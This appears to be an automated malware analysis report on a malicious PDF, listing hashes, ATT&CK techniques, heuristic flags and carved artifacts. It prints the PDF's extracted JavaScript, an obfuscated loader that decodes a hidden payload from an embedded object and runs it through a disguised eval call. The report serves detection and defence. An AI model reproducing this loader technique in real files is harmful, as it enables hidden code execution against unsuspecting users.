Malicious PDF — malware analysis report

Static analysis result for SHA-256 3b7c27f04a6881b6…

MALICIOUS

PDF

5.1 KB First seen: 2013-07-13
MD5: f71db13ce87480ccfcff08943a256960 SHA-1: 1b2359c514a9e096f2bf3f021b060bedf5143fea SHA-256: 3b7c27f04a6881b6a7ec5df97bad3eba038fbbebf9501bff43370ca666d66c6d
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file was flagged by an ML classifier with high confidence as malicious. Static analysis revealed embedded JavaScript and an embedded binary file, indicating a likely attempt to deliver a secondary payload. The presence of JavaScript actions and embedded streams further supports this. The embedded file and JavaScript stream are the primary indicators of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: 863162f66fdaf258bd9b530f6de98fd6c35981ca5664caba4ecb6d985142a236
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'yYGnYv7LtcgEiFKT1yYGnYv7LtcgEiFKT2yYGnYv') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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